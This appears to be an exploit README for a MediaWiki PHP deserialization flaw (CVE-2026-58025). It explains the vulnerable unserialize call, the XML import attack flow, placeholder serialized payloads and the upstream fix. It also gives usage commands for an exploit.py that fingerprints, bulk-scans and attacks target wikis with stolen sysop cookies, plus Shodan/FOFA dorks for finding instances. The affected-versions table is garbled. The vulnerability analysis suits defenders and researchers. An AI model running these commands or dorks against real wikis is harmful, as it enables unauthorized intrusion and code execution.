## https://sploitus.com/exploit?id=D4A8A1E1-8995-5B77-9187-A9143100B5F7
CVE-2026-58025 โ MediaWiki PHP Deserialization RCE via Log Entry Import
WikiImporter โ LogEntryBase::extractParams() โ unserialize() user-controlled log_params โ RCE
---
## Overview
**CVE-2026-58025** is a critical (CVSS 9.8) deserialization of untrusted data vulnerability in **MediaWiki** (Wikimedia Foundation). The `LogEntryBase::extractParams()` method called `unserialize()` on user-controlled log entry parameters without restricting which PHP classes could be instantiated. An attacker with the `importupload` or `import` right (default: `sysop` group) could craft a malicious XML import file containing serialized PHP objects in `` fields, triggering arbitrary object instantiation and potential remote code execution via gadget chains.
### Affected Versions
| Version Branch | Vulnerable | Patched |
|---|---|---|
| 1.43.x | **Requirements:** The `import` or `importupload` right (default: `sysop` group). The attacker must be able to upload or import an XML file to MediaWiki's Special:Import.
---
## Vulnerability Mechanism
### Root Cause
`LogEntryBase::extractParams()` in `includes/Logging/LogEntryBase.php` called `unserialize()` directly on the `log_params` blob without any class restriction:
```php
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
return unserialize( $blob ); // โ user-controlled, no allowed_classes restriction
}
```
This method is called from multiple locations:
| File | Line | Context |
|---|---|---|
| `includes/Logging/DatabaseLogEntry.php` | 187 | `getParameters()` โ reading log entries from DB |
| `includes/RecentChanges/RecentChange.php` | 781 | `parseParams()` โ parsing recent changes |
| `includes/Import/WikiRevision.php` | 638 | `importLogItem()` โ importing log entries from XML |
| `maintenance/purgeChangedFiles.php` | 182 | Maintenance script log parsing |
| `tests/phpunit/maintenance/DumpAsserter.php` | 541 | Test helper |
### Attack Vector
The primary attack vector is **XML import** via `Special:Import`:
1. Attacker (with `import`/`importupload` right) crafts a malicious MediaWiki XML export file
2. The XML contains a `` element with a `` field containing a PHP serialized payload
3. `WikiImporter::processLogItem()` โ `WikiRevision::importLogItem()` stores the log entry
4. When the log entry is later read (via `DatabaseLogEntry::getParameters()`, `RecentChange::parseParams()`, or log display), `LogEntryBase::extractParams()` calls `unserialize()` on the attacker-controlled blob
5. If a suitable gadget chain exists (via installed extensions/vendor libraries), this leads to RCE
### Attack Flow
```
POST /wiki/Special:Import
Content-Type: multipart/form-data
action=submit
xmlimportfile=
source=file
catname=
prefix=
loginComment=
malicious.xml:
test
test
a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}
โ WikiImporter::handleLogItem()
โ WikiImporter::processLogItem()
โ WikiRevision::importLogItem() โ stores to DB
โ Later: DatabaseLogEntry::getParameters()
โ LogEntryBase::extractParams( $blob ) โ unserialize( $blob )
โ PHP instantiates GadgetClass object โ __wakeup() / __destruct() gadget chain
โ RCE as www-data
```
### Serialized Payload Format
The `` field in the XML import accepts standard PHP serialized strings. A safe (benign) entry:
```
a:1:{s:3:"foo";s:3:"bar";}
```
A malicious entry containing a serialized object:
```
a:1:{s:3:"foo";O:8:"stdClass":0:{}}
```
When `unserialize()` is called without `allowed_classes` restriction, the object is fully instantiated. With an available gadget chain (e.g., from Composer-installed libraries), this becomes RCE.
---
## The Fix
**Commit:** `60f154d4618063ac4d5832285fc246b8fcd7c72c`
**Author:** Bartosz Dziewoลski
**Date:** 2026-06-29
The fix implements multiple layers of defense:
### 1. Restricted `unserialize()` with `allowed_classes`
```php
// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
$attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
$allowedClasses = $attribute[$logType];
} else {
$allowedClasses = false; // no classes allowed
}
$result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
if ( $result !== false && !is_array( $result ) ) {
return false;
}
return $result;
}
```
### 2. New `containsUnsafeParams()` check
Detects `__PHP_Incomplete_Class` instances (objects that were blocked by `allowed_classes`):
```php
public static function containsUnsafeParams( array $params ): bool {
$result = false;
$params = [ $params ];
array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
if ( $val instanceof \__PHP_Incomplete_Class ) {
$result = true;
}
} );
return $result;
}
```
### 3. Import gate โ `WikiImporter::processLogItem()`
New `logentryimport` permission check (not granted to anyone by default):
```php
private function processLogItem( $logInfo ) {
if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
$this->notice( 'permissionserrorstext-withaction-noreason', ... );
return false;
}
// ...
}
```
### 4. `WikiRevision::importLogItem()` โ unsafe params rejection
```php
if ( LogEntryBase::containsUnsafeParams(
LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
return false;
}
```
### 5. `UnsafeLogFormatter` โ safe display of existing malicious entries
New `UnsafeLogFormatter` class replaces the normal formatter for entries containing blocked objects, displaying a placeholder message instead of attempting to format the dangerous data.
### 6. Related fix: CVE-2026-58037
The same research (T422244) also identified that `LogFormatter`'s `raw` parameter type allowed raw HTML output from user-controlled log params. This was fixed in a companion commit by changing `Message::rawParam()` to `Message::plaintextParam()`.
---
## PoC
The included `exploit.py` generates a malicious MediaWiki XML import file containing serialized PHP objects in log entry parameters. It can also fingerprint MediaWiki instances and attempt the import via the API.
```bash
# Generate malicious XML payload
python exploit.py --generate --output payload.xml
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"
```
---
## Installation
```bash
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests
```
## Usage
```bash
# Generate malicious XML import file
python exploit.py --generate --output payload.xml
# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check
# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"
# Bulk check
python exploit.py -f targets.txt --check -o results.txt
```
---
## FOFA / Shodan
```
FOFA: body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"
```
---
## References
- [NVD CVE-2026-58025](https://nvd.nist.gov/vuln/detail/CVE-2026-58025)
- [Phabricator T422244](https://phabricator.wikimedia.org/T422244)
- [Fix Commit (1.43 branch)](https://github.com/wikimedia/mediawiki/commit/60f154d4618063ac4d5832285fc246b8fcd7c72c) โ `SECURITY: Safely unserialize log entry parameters`
- [Related fix: CVE-2026-58037](https://github.com/wikimedia/mediawiki/commit/649a8d35e1b72426f11fbdbf19272bd45ef17583) โ `LogFormatter: 'raw' parameter format is no longer raw HTML`
- [MediaWiki 1.43.9 Release Notes](https://github.com/wikimedia/mediawiki/commit/50755a861e6e748cf8bac24e8cdd5e83db018081)
- [OSV CVE-2026-58025](https://osv.dev/vulnerability/CVE-2026-58025)
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [CWE-94: Improper Control of Generation of Code](https://cwe.mitre.org/data/definitions/94.html)
---
## Disclaimer
This exploit is provided for educational and authorized security research only. Do not use against systems without explicit permission from the owner.